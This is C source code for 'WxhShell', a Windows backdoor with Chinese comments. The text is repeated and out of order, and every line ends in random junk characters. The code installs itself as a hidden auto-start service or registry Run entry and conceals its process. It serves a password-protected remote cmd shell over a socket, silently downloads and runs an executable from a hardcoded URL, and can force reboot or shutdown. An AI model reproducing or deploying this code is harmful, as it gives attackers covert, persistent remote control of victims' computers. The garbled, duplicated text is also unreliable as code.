    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /V GI@"^v  
    else { !|Wf mU  
    closesocket(wsh); +\]Gu(z<  
    ExitThread(0); F:N8{puq5  
    } T>68 ,; p  
    break; =M=v; ,I-  
    } 6=:s3I^  
  // 获取shell -}3nIk<N  
  case 's': { YD;G+"n?T  
    CmdShell(wsh); k(he<-GF\  
    closesocket(wsh); !_P&SmK3  
    ExitThread(0); +pRNrg?k  
    break; T@A Qe[U'v  
  } ;5DDV6  
  // 退出 BP}@E$  
  case 'x': { ~7an j.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dci<Rz`h  
    CloseIt(wsh); E>+>!On)b  
    break; -9::M}^2  
    } MU%7'J :_  
  // 离开 NSM7n= *nh  
  case 'q': { c?N,Cd~q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P V:J>!]  
    closesocket(wsh); 5 owK2  
    WSACleanup(); /3&MUB*z&y  
    exit(1); xHMFYt+0$G  
    break; [Q+k2J_h  
        } ?~b(iZ  
  } ?}uuTNLl)  
  } 3~VV2O  
j+@3.^vK  
  // 提示信息 . P+Qu   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7i!VgV  
} !I.}[9N  
  } '%82pZ,?  
Nte$cTjX  
  return; #*:^\z_Jd  
} $xWUzg1<U  
Qe{w)e0}`  
// shell模块句柄 `XpQR=IOMb  
int CmdShell(SOCKET sock) z$WLx  
{ X8">DR&>Y  
STARTUPINFO si; u~aRFQ:  
ZeroMemory(&si,sizeof(si)); Qz3Z_V4k9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aL%E#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4hODpIF  
PROCESS_INFORMATION ProcessInfo; SiUu**zC  
char cmdline[]="cmd"; yOt#6Vw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1[T7;i$  
  return 0; [q_+s  
} _&/ {A|n  
a6-.|tt#t  
// 自身启动模式 r0 )ne|&Hp  
int StartFromService(void) 1Dl6T\20  
{ f:-l}Zj  
typedef struct 3 ye  
{ 4e Y?#8  
  DWORD ExitStatus; 0~z\ WSo  
  DWORD PebBaseAddress; 1"L"LU'  
  DWORD AffinityMask; !~yBz H;K  
  DWORD BasePriority; bi^?SH\  
  ULONG UniqueProcessId; n{i,`oQ"  
  ULONG InheritedFromUniqueProcessId; *67K_<bp]  
}   PROCESS_BASIC_INFORMATION; fjVy;qJ32S  
#K6cBfqI  
PROCNTQSIP NtQueryInformationProcess; 50j8+xJPV  
yji[Yde;|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BqY_N8l&E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wV"`Du7E;  
.z.4E:Iq  
  HANDLE             hProcess; Be=rBrI>  
  PROCESS_BASIC_INFORMATION pbi; CF2Bd:mfZ  
:Ys~Lt54  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S.)Jp -&K  
  if(NULL == hInst ) return 0; }&t>j[  
!7 dct#4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 18!y7 _cFT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ##*]2Dy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G %6P`:  
hg(<>_~  
  if (!NtQueryInformationProcess) return 0; uTxa5j  
m^G(qoZ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P0jr>j@^-  
  if(!hProcess) return 0; yB2h/~+  
p.SipQ.P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :t]HY2  
Pp s-,*m  
  CloseHandle(hProcess); {@^;Nw%J  
*B"Y]6$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z(T{K\)uN  
if(hProcess==NULL) return 0; RHg-Cg`  
. \"k49M`  
HMODULE hMod; 0{|HRiQH9+  
char procName[255]; R<Lf>p>_  
unsigned long cbNeeded; `daqzn  
iU;e!\A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ||_hET  
m|;(0 rft  
  CloseHandle(hProcess); -juG[zn  
u] };QR  
if(strstr(procName,"services")) return 1; // 以服务启动 q8 ?kBKP  
pW(rNAJ!  
  return 0; // 注册表启动 BzP,Tu{,  
} &~ y)b`r  
cKe%P|8  
// 主模块 C/Khp +  
int StartWxhshell(LPSTR lpCmdLine) `X6JZxGyd  
{ &$F<]]&  
  SOCKET wsl; Jpj=d@Of70  
BOOL val=TRUE; vRmn61  
  int port=0; jdP )y]c  
  struct sockaddr_in door; "y,YC M`  
iqQT ^  
  if(wscfg.ws_autoins) Install(); t?W}=%M[  
,erf{"Nh  
port=atoi(lpCmdLine); sQvRupYRO  
ttzNv>L,  
if(port<=0) port=wscfg.ws_port; 4^tSg#!V{  
hm`=wceK  
  WSADATA data; LH8jT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G^~[|a 4`  
G@[8P?M=Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B7C3r9wj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;u UFgDi  
  door.sin_family = AF_INET; 1cLtTE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  `Vb  
  door.sin_port = htons(port); BBB@M  
fFjpQ~0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HTJ2D@h  
closesocket(wsl); Je1d|1!3  
return 1; mgq!)  
} *qd:f!Q3  
~RhUg~o  
  if(listen(wsl,2) == INVALID_SOCKET) { .Pc>1#z&[  
closesocket(wsl); OSgJj MQ  
return 1; 8M,*w6P  
} KP&+fDa  
  Wxhshell(wsl); 9%/hoA)  
  WSACleanup(); 9DxHdpOk  
RP4/:sO  
return 0; zM9#1^X  
-@W9+Zf5  
} U0~_'&Fe  
uN|A}/hr]  
// 以NT服务方式启动 RgJ@J/p"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XE}gl&\  
{ h0GoF A<  
DWORD   status = 0; I{Zb/}k-  
  DWORD   specificError = 0xfffffff; rf.pT+g.P  
;[v!#+yml  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ejROJXB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; diq}\'f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f98,2I(>`+  
  serviceStatus.dwWin32ExitCode     = 0; |VBt:dd<  
  serviceStatus.dwServiceSpecificExitCode = 0; Yh":>~k?SY  
  serviceStatus.dwCheckPoint       = 0; {ZJO5*  
  serviceStatus.dwWaitHint       = 0; 9 BCW2@Kp  
=kjKK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >rSjP1-F  
  if (hServiceStatusHandle==0) return; (o^tmH*  
"HMEoZ  
status = GetLastError(); _Cmmx`ln  
  if (status!=NO_ERROR) "[bkdL<  
{ L$ZjMJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d>NGCe  
    serviceStatus.dwCheckPoint       = 0; 7FB?t<x  
    serviceStatus.dwWaitHint       = 0; B VBn.ut  
    serviceStatus.dwWin32ExitCode     = status; 8:ubtB  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kb.qv)6i*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D!<F^mtl  
    return; wu41Mz7  
  } vwCQvt  
rPV Q#iB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8Sbz)X  
  serviceStatus.dwCheckPoint       = 0; [);oj<  
  serviceStatus.dwWaitHint       = 0; DiCz%'N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H?$dnwR  
} xEb>6+-F@  
B=_w9iVN  
// 处理NT服务事件,比如:启动、停止 o`U}u qrO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZlT }cA/n  
{ }V?m =y [  
switch(fdwControl) %b6$N_M{H1  
{ _:x]' w%  
case SERVICE_CONTROL_STOP: i_Kwxn$  
  serviceStatus.dwWin32ExitCode = 0; i2F7O"f.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ss3p6%V/  
  serviceStatus.dwCheckPoint   = 0; 0YH5B5b  
  serviceStatus.dwWaitHint     = 0; =7Ln&tZ  
  { }0'=}BE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3]Z1kB  
  } u?osX;'w  
  return; L\:|95Yq  
case SERVICE_CONTROL_PAUSE: VUb>{&F[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q6zVu(  
  break; 7CIN!vrC|1  
case SERVICE_CONTROL_CONTINUE: /x VHd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w^yb`\$  
  break; l45/$G7  
case SERVICE_CONTROL_INTERROGATE: LUOjaX  
  break; c4JV~VS+  
}; j-<]OOD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j3j?2#vR  
} ] l,BUf-O  
du65=w4E!  
// 标准应用程序主函数 "J VIkC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m%'nk"p9  
{ "<,lqIqA;  
N5Js.j>z  
// 获取操作系统版本 S?J!.(  
OsIsNt=GetOsVer(); >O'\ jp}$l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |'^s3i&w  
]\, ?u /  
  // 从命令行安装 {)YbksrJ{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6'qkD<  
q_MN  
  // 下载执行文件 qmS9*me {  
if(wscfg.ws_downexe) { L9b.D<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qu=~\t1[6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7?P'f3)fG  
} p`tz*ewC  
crmQn ^4\  
if(!OsIsNt) { ah>c)1DA*H  
// 如果时win9x,隐藏进程并且设置为注册表启动 u$ts>Q;5  
HideProc(); Z8v\>@?5R  
StartWxhshell(lpCmdLine); 4:/]Y=)x  
} \CB^9-V3  
else r,5e/X  
  if(StartFromService()) $BqiC!~  
  // 以服务方式启动 u 3WU0Z`  
  StartServiceCtrlDispatcher(DispatchTable); qv!(In>u  
else =RoE=) 1&-  
  // 普通方式启动 L+t / E`  
  StartWxhshell(lpCmdLine); Yuv(4a<M%  
*zrT;j G  
return 0; { FJMc O=  
} $LP(\T([  
U[ ]yN.J  
UZdnsG7  
>6es 5}  
=========================================== `M@ESA (e  
^ u$gO3D  
-l[H]BAMXy  
%bcf% 7  
YwVA].p@TI  
kZ9Gl!g  
" -rDfDdT  
e=Ox~2S  
#include <stdio.h> ~WrpJjI[  
#include <string.h> b8!oZ~ K  
#include <windows.h> |d0X1(  
#include <winsock2.h> /xn|d#4  
#include <winsvc.h> b9g2mWL\T  
#include <urlmon.h> \kE0h\  
g[cnaS|?  
#pragma comment (lib, "Ws2_32.lib") %1&X+s3  
#pragma comment (lib, "urlmon.lib") wgz]R  
(Mv~0ShakO  
#define MAX_USER   100 // 最大客户端连接数 E:` _P+2p  
#define BUF_SOCK   200 // sock buffer ju2H 0AQ  
#define KEY_BUFF   255 // 输入 buffer l;M,=ctB(  
{$S"S j  
#define REBOOT     0   // 重启 [8u9q.IZ  
#define SHUTDOWN   1   // 关机 [REH*_  
oc?|"  
#define DEF_PORT   5000 // 监听端口 |5>Tf6 $(  
,e'r 0  
#define REG_LEN     16   // 注册表键长度 m2SJ\1 J=  
#define SVC_LEN     80   // NT服务名长度 +G;<D@gSa0  
G}U <^]c  
// 从dll定义API 7-3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r'noB<| e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xl=RaV^X"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =8_b&4.:&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P`rfDQoZ  
p3_ Qx  
// wxhshell配置信息 &5}YTKe}|  
struct WSCFG { k7uX!}  
  int ws_port;         // 监听端口 x@ X2r  
  char ws_passstr[REG_LEN]; // 口令 ll__A|JQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no :@(1~Hm  
  char ws_regname[REG_LEN]; // 注册表键名 CUDA<Fm  
  char ws_svcname[REG_LEN]; // 服务名 olv&K(-ccI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 we}xGb.u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D)MFii1J~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A":=-$)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K0>;4E>B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "s@Hg1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KXZ G42w  
?* ~4~ZE E  
}; [XPAI["  
M._h=wX{}  
// default Wxhshell configuration =lv(  
struct WSCFG wscfg={DEF_PORT, @l3&vt2=J  
    "xuhuanlingzhe", <\nM5-wR  
    1, e"1mdw"  
    "Wxhshell", !bzWgD7j  
    "Wxhshell", '*[7O2\%/  
            "WxhShell Service", 6Takx%U  
    "Wrsky Windows CmdShell Service", Uhu?G0>O  
    "Please Input Your Password: ", pZ $>Hh#  
  1, -qpvVLR,  
  "http://www.wrsky.com/wxhshell.exe", ;{8 X+H  
  "Wxhshell.exe" Ri"rT] '  
    }; iwIn3R,  
5X8 i=M;  
// 消息定义模块 /.s L[X-G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q'fOlq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6r^ZMW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c}v8j2{  
char *msg_ws_ext="\n\rExit."; %cs" PS  
char *msg_ws_end="\n\rQuit."; =Crl{Ax  
char *msg_ws_boot="\n\rReboot..."; 2cu2S"r  
char *msg_ws_poff="\n\rShutdown..."; 1/bTwzR.g  
char *msg_ws_down="\n\rSave to "; Zk7!CJVM  
};r EN`L  
char *msg_ws_err="\n\rErr!"; %-YWn`yEm  
char *msg_ws_ok="\n\rOK!"; K}q5,P(  
f7zB_hVDmE  
char ExeFile[MAX_PATH]; dm[JDVv|  
int nUser = 0; Ce//; Op  
HANDLE handles[MAX_USER]; CVY-U|xFY  
int OsIsNt; ^69(V LK  
`?^<r%*F.  
SERVICE_STATUS       serviceStatus; /g0' +DP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7aRy])x  
-5os0G80  
// 函数声明 +-x+c: IxA  
int Install(void); ZCK#=:ln  
int Uninstall(void); }ub>4N[  
int DownloadFile(char *sURL, SOCKET wsh); \k$cg~  
int Boot(int flag); @Nm{H  
void HideProc(void); .$f0!` t  
int GetOsVer(void); "tbKbFn9  
int Wxhshell(SOCKET wsl); dr8Q>(ZY  
void TalkWithClient(void *cs); * W"Pv,:  
int CmdShell(SOCKET sock); hQ)?LPUB  
int StartFromService(void); 3]\'Q}  
int StartWxhshell(LPSTR lpCmdLine); amQiH!}8R  
@CPkP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $/u.F;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -R$Q`Xw  
;Srzka2  
// 数据结构和表定义 %YuFw|wO  
SERVICE_TABLE_ENTRY DispatchTable[] = rIyIZWkI  
{ ee<'j~{A  
{wscfg.ws_svcname, NTServiceMain}, J,h'eY5  
{NULL, NULL} lBG5~<NT  
}; #VZ-gy4$\B  
!~mPxGY  
// 自我安装 Q>z (!'dw  
int Install(void) OK@yMGz1I  
{ v&])D/a  
  char svExeFile[MAX_PATH]; j<?k$ 8H  
  HKEY key; %~dn5t ;  
  strcpy(svExeFile,ExeFile); ZSwhI@|  
gxDyCL$h3  
// 如果是win9x系统,修改注册表设为自启动 ^MWp{E  
if(!OsIsNt) { ;F2"gTQS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I'J-)D`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eH;{Ln  
  RegCloseKey(key); }Zp[f6^Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;P8.U(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u\K`TWb%  
  RegCloseKey(key); C;Kq_/l  
  return 0; k c L +  
    } uY&t9L8  
  } yTWicW7i  
} 9WL$3z'*  
else { )C#>@W  
!'bZ|j%  
// 如果是NT以上系统,安装为系统服务 ^Y"|2 :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oC TSV  
if (schSCManager!=0) 2N&S__  
{ g s%[Cv  
  SC_HANDLE schService = CreateService O V^?cA  
  ( 6(B[(Af  
  schSCManager, A2nL=9~   
  wscfg.ws_svcname, \NL*$SnxP  
  wscfg.ws_svcdisp, S8e?-rC  
  SERVICE_ALL_ACCESS, ?KFj=Yo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #!j wn^yq  
  SERVICE_AUTO_START, opReAU'I  
  SERVICE_ERROR_NORMAL, RbEtNwG@c  
  svExeFile, 1VPxCB\  
  NULL, cw;TIx_q  
  NULL, y#J8Yv8  
  NULL, @(m?j1!M  
  NULL, mN" g~o*  
  NULL 1[(/{CClB  
  ); WQNFHRfO*n  
  if (schService!=0) s&W^?eKr  
  { z| m-nIM  
  CloseServiceHandle(schService); i7O8f^|  
  CloseServiceHandle(schSCManager); t|59/R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LHusy;<E[  
  strcat(svExeFile,wscfg.ws_svcname); EE~DU;p;]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (+9^)No  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K1*V\WRW5  
  RegCloseKey(key); KCS},X_  
  return 0; ^4 ~ V/  
    }  rUBc5@|  
  } bx3kd+J7  
  CloseServiceHandle(schSCManager); xU;Q ~(  
} }\.Z{h:t ?  
} $$---Y   
~ ll+/w\4  
return 1; ;TCT%j`^o  
}  tZN'OoZ  
6hf6Z 3  
// 自我卸载 ,M9Hdm  
int Uninstall(void) *|.-y->  
{ T3/Gl 6f  
  HKEY key; oedLe9!  
h~.z[  
if(!OsIsNt) { f5vsxP)Y[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `>\>'V<&  
  RegDeleteValue(key,wscfg.ws_regname); +#7)'c  
  RegCloseKey(key); f>ilk Q`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pa6-3c  
  RegDeleteValue(key,wscfg.ws_regname); *l8:%t\  
  RegCloseKey(key); <):= mr7  
  return 0; Xs$UpQo  
  } l#!6 tw+e?  
} 8i?:aN[.1b  
} R}0!F 2  
else { s)V<dm;T  
{h}e 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L%0G >2x  
if (schSCManager!=0) 4 JDk ()  
{ qku!Mg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Km74!.e7  
  if (schService!=0) gwv s  
  { OVU+V 0w1a  
  if(DeleteService(schService)!=0) { O" ,*N  
  CloseServiceHandle(schService); |Fp+9U  
  CloseServiceHandle(schSCManager); ^n<o,K4\}  
  return 0;  ^#&:-4/  
  } K_CE.8G&{  
  CloseServiceHandle(schService); gSXidh}^  
  } ^z}$ '<D9  
  CloseServiceHandle(schSCManager); ;wj8:9 ;  
} <%:,{u6  
} Gq9pJ  
VL| q`n  
return 1; -)$5[jM]  
} !5=S 2<UX  
PNhxF C.  
// 从指定url下载文件 Xi81?F?[  
int DownloadFile(char *sURL, SOCKET wsh) }\/ 3B_X6N  
{ oVja$;>  
  HRESULT hr; -5sKJt]+i  
char seps[]= "/"; <t"|wYAa_  
char *token; &ub0t9R  
char *file; }q D0-  
char myURL[MAX_PATH]; 9a3mN(<  
char myFILE[MAX_PATH]; Vs@H>97,G  
F*j0o +B5  
strcpy(myURL,sURL); ="__*J#nze  
  token=strtok(myURL,seps); qB8R4wCf  
  while(token!=NULL) E7>D:BQ\2  
  { x{#W84  
    file=token; /YT _~q=:  
  token=strtok(NULL,seps); _ 2E*  
  } ?5jq)xd2  
9@yi UX  
GetCurrentDirectory(MAX_PATH,myFILE); L@>$ Aw  
strcat(myFILE, "\\"); 6Us*zKgW  
strcat(myFILE, file); (hFyp}jkk  
  send(wsh,myFILE,strlen(myFILE),0); +X|^ ~)tMJ  
send(wsh,"...",3,0); l/g6Tv `w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /7jb&f   
  if(hr==S_OK) Z,}c)  
return 0; m)Sdo gt_  
else Dwuao`~Xm  
return 1; F0]xc  
l#cG#-  
} EaUO>S  
}\3jcnn  
// 系统电源模块 Z|6,*XEc   
int Boot(int flag) EEdU\9DH(  
{ K0C3s  
  HANDLE hToken; o#9 Q   
  TOKEN_PRIVILEGES tkp; \^]*T'>b  
?{rpzrc!*  
  if(OsIsNt) { q!4eVg*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jU0E=;1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W|4h;[w  
    tkp.PrivilegeCount = 1; jN T+?2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KuJNKuHa.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  /wT<p  
if(flag==REBOOT) { r2G38/K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pX?/=T@ Bw  
  return 0; nN5fP<H2x  
} EaKbG>  
else { FL E3LH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7^W(es  
  return 0; pj#ls  
} Pmdf:?B  
  } d3"QCl  
  else { \dJOZ2J<z  
if(flag==REBOOT) { oe<DP7e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E{BX $R_8  
  return 0; i !;9A6D  
} %00cC~}4  
else { qT~a`ou:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %&j \:X~A  
  return 0; t W}"PKv  
} #\Zr$?t|V  
} u~7fK  
|8?e4yVd  
return 1; Y49&EQ  
} K.Tob,5`  
B *%ey?  
// win9x进程隐藏模块 JFFluL=-  
void HideProc(void) 2p~}<B  
{ @Yn+ir0>O  
9DdR"r'7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H3L uRGe&2  
  if ( hKernel != NULL ) ZI.Czzx\=  
  { |y pX O3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N}>[To3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XK&G`cJ[  
    FreeLibrary(hKernel); |k^C-  
  } 1my1m  
>t{-_4Yv?  
return; [kf6bf@  
} +ZOKfX  
 |A\o  
// 获取操作系统版本 <nTZs`$LwL  
int GetOsVer(void) ?|~KF:,#}  
{ \/64Xv3L0  
  OSVERSIONINFO winfo; 60 %VG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QBh*x/J  
  GetVersionEx(&winfo); ""A6n{4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;;6$d{  
  return 1; i+F*vTM2,  
  else bh(} f.@ 9  
  return 0; EJ(36h  
} 6_:I~TTX  
>qs/o$+t}  
// 客户端句柄模块 D5!#c-Y-  
int Wxhshell(SOCKET wsl) TF9A4  
{ _xmQGX!|  
  SOCKET wsh;  yj=OR|v  
  struct sockaddr_in client; 3b|=V  
  DWORD myID; 'iTY?  
N\];{pe>  
  while(nUser<MAX_USER) XOLE=zdSp  
{ I{h KN V  
  int nSize=sizeof(client); *nYg-)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KaX*) P  
  if(wsh==INVALID_SOCKET) return 1; uq ;yR[w"  
N6v?Qzvi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); li,rPUCt  
if(handles[nUser]==0) 8Ihl}aguW  
  closesocket(wsh); qZ4)) X  
else d14n>  
  nUser++; yM7Iq)o6u  
  } ^/6P~iK'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0ckmHv  
H>W8F2VT  
  return 0; 8*x=Fm,Ok  
} -Lu&bVt<>  
m"'} {3$%  
// 关闭 socket $8xb|S[  
void CloseIt(SOCKET wsh) 9K#3JyW*  
{ rwVp}H G  
closesocket(wsh); ]<C]`W2{  
nUser--; #UhH  
ExitThread(0); ]%y>l j?Y  
} 6M. |W;  
xQ7U$QF|]  
// 客户端请求句柄 %1:caa@_p  
void TalkWithClient(void *cs) /Q3\6DCl  
{ s5rD+g]E`  
_Z!@#y@j  
  SOCKET wsh=(SOCKET)cs; 9^ZtbmUf  
  char pwd[SVC_LEN]; mLpM8~L  
  char cmd[KEY_BUFF]; ~D>pu%F  
char chr[1]; oda,  
int i,j; %T\hL\L?  
vy *-"=J  
  while (nUser < MAX_USER) { A+gS'DZ9C  
6o7t eX  
if(wscfg.ws_passstr) { o.Rv<a5.L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YcX\t6VK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ($kw*H{Ah^  
  //ZeroMemory(pwd,KEY_BUFF); KMz!4N  
      i=0; ^a_a%ws  
  while(i<SVC_LEN) { IlB8~{p_  
Y}v3J(l  
  // 设置超时 y:}qoT_.  
  fd_set FdRead; giX[2`^NG  
  struct timeval TimeOut; R-j*fO}  
  FD_ZERO(&FdRead); 3_Xu3hNH!  
  FD_SET(wsh,&FdRead); @$T$hMl  
  TimeOut.tv_sec=8; Cp mT *  
  TimeOut.tv_usec=0; 8ZVQM7O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (=Cb)/s0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >*8V]{f9  
DkEv1]6JI_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >e>3:~&2  
  pwd=chr[0]; xNf}f 9 l  
  if(chr[0]==0xd || chr[0]==0xa) { "H).2{3(x  
  pwd=0; cQyN@W  
  break; ~}}<+JEEO  
  } L|T?,^  
  i++; o #e8 Piw  
    } {9U!0h-2"  
&Y=0 0  
  // 如果是非法用户,关闭 socket ;na%*G`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hOU H1m.  
} 'R79,)|;[  
\X:e9~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0X5cn 0L^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <.QaOLD  
 7;fC%Fq  
while(1) { eZa*WI=  
3- Kgz  
  ZeroMemory(cmd,KEY_BUFF); SQ_?4 s::  
4SJ aAeIZ  
      // 自动支持客户端 telnet标准   OL>>/T  
  j=0; *x|%Nua"  
  while(j<KEY_BUFF) { F nA Kfh(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6M*z`B{hV  
  cmd[j]=chr[0]; q>.7VN[ vE  
  if(chr[0]==0xa || chr[0]==0xd) { d#rr7O  
  cmd[j]=0; nc k/Dw  
  break; 1@}F8&EZ  
  } <|}Z6Ti  
  j++; `Npa/Q  
    } xo_STLAw  
T+}|$/Tv  
  // 下载文件 'K?h6?#  
  if(strstr(cmd,"http://")) { S)WxTE9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RW. qw4  
  if(DownloadFile(cmd,wsh)) 9efDM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &-yRa45?  
  else DQQ]grU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6DHK&<=D8  
  } yS W$zA,  
  else { _-_iw&F  
$*#^C;7O  
    switch(cmd[0]) { )4 4Y`v  
